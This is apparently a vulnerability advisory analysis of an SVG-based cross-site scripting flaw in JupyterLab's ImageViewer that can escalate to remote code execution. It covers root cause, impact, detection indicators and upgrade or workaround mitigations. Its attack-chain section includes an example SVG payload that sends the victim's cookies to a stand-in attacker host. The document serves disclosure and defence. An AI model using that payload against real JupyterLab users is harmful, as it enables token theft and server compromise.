CVE-2026-73415: 
JupyterLab vulnerability analysis and mitigation

CVE-2026-73415 is a Cross-Site Scripting (XSS) vulnerability in JupyterLab's ImageViewer component that can lead to remote code execution (RCE) on the JupyterLab server. The flaw exists in packages/imageviewer/src/widget.ts, where URL.createObjectURL is used to render SVG images and the resulting blob URL is revoked prematurely, allowing a specially crafted SVG to retain an executable same-origin context when opened in a new browser tab. Affected versions include all JupyterLab releases prior to 4.5.10 and versions 4.6.0–4.6.1. The vulnerability was disclosed on July 21, 2026 via a GitHub Security Advisory and assigned CVE-2026-73415 on August 12, 2026. It carries a CVSS v4.0 base score of 7.5 (High) (GitHub Advisory).

The root cause is improper neutralization of user-controlled SVG content during web page generation (CWE-79). JupyterLab's ImageViewer creates a blob URL via URL.createObjectURL for image rendering, but revokes it too early; because SVG files can embed JavaScript and execute within the browser's same-origin context, the prematurely revoked blob URL still allows the SVG's embedded scripts to run when the image is opened in a new browser tab. This effectively bypasses the intended isolation of blob URLs and grants the malicious SVG access to the JupyterLab origin, enabling XSS. Exploitation requires active user interaction — specifically, a victim must open a crafted image file in the JupyterLab image viewer and then open it in a new tab (GitHub Advisory, Security Patches PR).

Successful exploitation allows an attacker to execute arbitrary JavaScript within the JupyterLab origin, which can be escalated to remote code execution on the JupyterLab server. This means an attacker could read or exfiltrate sensitive notebook data, steal authentication tokens, modify server-side files, or execute arbitrary commands on the underlying server — resulting in high confidentiality and integrity impact and low availability impact. In multi-user JupyterHub deployments, a compromised server could potentially be leveraged for lateral movement to other users' environments (GitHub Advisory).

No public proof-of-concept exploit code or in-the-wild exploitation has been reported as of the time of disclosure. The EPSS score is 0.0, and the vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. The NVD SSVC assessment classifies exploitation as "none" and the vulnerability as non-automatable, reflecting the requirement for active user interaction (opening a malicious image and then opening it in a new tab) (GitHub Advisory).

1. Craft malicious SVG: Create an SVG file embedding JavaScript (e.g., <svg xmlns="http://www.w3.org/2000/svg"><script>fetch('https://attacker.com/?c='+document.cookie)</script></svg>) designed to execute within the JupyterLab same-origin context.
2. Deliver the file: Upload or share the malicious SVG to a JupyterLab instance accessible by the target user — for example, by placing it in a shared notebook directory or sending it via a collaboration feature.
3. Trigger image viewer: Induce the victim to open the SVG file using JupyterLab's built-in ImageViewer (e.g., by double-clicking the file in the file browser).
4. Open in new tab: The victim opens the image in a new browser tab (e.g., via right-click > "Open in New Tab" or a similar UI action). Due to premature blob URL revocation, the SVG retains its same-origin executable context.
5. XSS executes: The embedded JavaScript runs in the JupyterLab origin, allowing the attacker to steal tokens, exfiltrate data, or issue authenticated API requests to the JupyterLab server to achieve RCE (GitHub Advisory).

• File System: Presence of unexpected .svg files in shared notebook directories containing embedded <script> tags or JavaScript event handlers (e.g., onload, onerror).
• Network: Outbound HTTP requests from the JupyterLab server to unknown external hosts shortly after a user opens an SVG file; unusual API calls to JupyterLab server endpoints (e.g., /api/contents, /api/terminals) not initiated by normal user workflow.
• Logs: JupyterLab server logs showing unexpected kernel execution requests or file write operations following image viewer activity; browser console errors related to blob URL handling in the imageviewer component.
• Process: Unexpected child processes spawned by the JupyterLab server process (e.g., shell commands, curl, wget) that are not associated with normal notebook kernel activity.

Upgrade JupyterLab to version 4.5.10 or 4.6.2 (or later), which contain the patch for this vulnerability (GitHub Advisory, v4.5.x backport PR, v4.6.x backport PR). For users unable to upgrade immediately, the official workaround is to disable the image viewer plugin entirely:

jupyter labextension disable @jupyterlab/imageviewer-extension:plugin

Confirm the plugin is disabled with jupyter labextension list. In multi-user deployments, administrators should also ensure the JupyterLab server environment is isolated from user-writable kernel environments to limit the blast radius of any XSS-to-RCE escalation.

The vulnerability was discovered and reported by JupyterLab maintainer krassowski, who also authored the security patches. The fix was part of a coordinated batch of five security advisories released simultaneously on July 21, 2026, with a slight departure from the normal private-fork process due to GitHub infrastructure issues noted in the pull request (Security Patches PR). No significant broader media coverage or notable external researcher commentary has been identified beyond the official GitHub advisory and associated patch PRs.